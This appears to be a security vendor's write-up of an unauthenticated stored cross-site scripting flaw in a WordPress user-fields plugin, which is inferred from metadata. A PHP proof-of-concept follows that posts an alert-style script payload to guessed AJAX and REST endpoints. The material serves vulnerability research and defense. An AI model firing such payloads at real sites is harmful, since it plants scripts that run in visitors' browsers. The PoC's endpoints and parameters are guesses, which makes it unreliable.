Atomic Edge analysis of CVE-2025-67991 (metadata-based):
The User Extra Fields WordPress plugin contains an unauthenticated stored cross-site scripting vulnerability in versions up to 16.8. This vulnerability allows attackers to inject malicious scripts that persist in the WordPress database and execute when users view affected pages. The CVSS 7.2 score reflects its network-accessible attack vector and potential for lateral movement across site visitors.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping (CWE-79). The vulnerability description confirms improper neutralization of user input before web page generation. Without code access, we infer the plugin likely fails to apply WordPress sanitization functions like `sanitize_text_field` or `wp_kses` to user-supplied data before storage. The plugin also likely omits proper output escaping with functions like `esc_html` or `esc_attr` when displaying stored data. These conclusions are inferred from the CWE classification and standard WordPress security patterns.
Exploitation occurs through unauthenticated requests to plugin endpoints. Attackers likely target AJAX handlers or REST API endpoints that process user extra field data. A typical payload would inject JavaScript via parameters like `field_value` or `custom_data`. The malicious script executes in victims’ browsers when they view pages containing the injected field data. Attack vectors may include registration forms, profile editors, or frontend displays of user metadata.
The patch in version 16.9 likely implements proper input validation and output escaping. Developers probably added `sanitize_text_field` or `wp_kses_post` to all user input processing routines. They also likely added `esc_html` or `esc_attr` to all output functions. WordPress capability checks may have been strengthened to prevent unauthenticated access to data modification endpoints.
Successful exploitation enables session hijacking, administrative actions, and content defacement. Attackers can steal authentication cookies, redirect users to malicious sites, or perform actions as logged-in users. The stored nature means a single injection affects all subsequent visitors to compromised pages. While the CVSS vector indicates low confidentiality and integrity impacts, real-world consequences include complete site compromise through administrator account takeover.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67991 - User Extra Fields <= 16.8 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-67991
* Assumptions based on vulnerability description:
* 1. Plugin has an unauthenticated endpoint that accepts user input
* 2. Input is stored without proper sanitization
* 3. Stored data is output without escaping
* 4. AJAX action name likely contains 'wp_user_extra_fields' or similar
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Infer possible action names from plugin slug
$possible_actions = [
'wp_user_extra_fields_save',
'user_extra_fields_update',
'uef_save_field',
'save_extra_field'
];
// XSS payload that demonstrates vulnerability
$payload = '<img src=x onerror=alert(document.domain)>';
foreach ($possible_actions as $action) {
$ch = curl_init();
$post_data = [
'action' => $action,
'field_id' => 'test_field',
'field_value' => $payload,
'user_id' => '1',
'nonce' => 'bypassed' // Nonce may be absent or bypassed
];
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Testing action: {$action}n";
echo "HTTP Code: {$http_code}n";
echo "Response: {$response}nn";
curl_close($ch);
}
// Alternative: Test REST API endpoint if AJAX fails
$rest_url = $target_url . '/wp-json/wp-user-extra-fields/v1/fields';
$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode(['value' => $payload]));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
echo "REST API test completedn";
?>
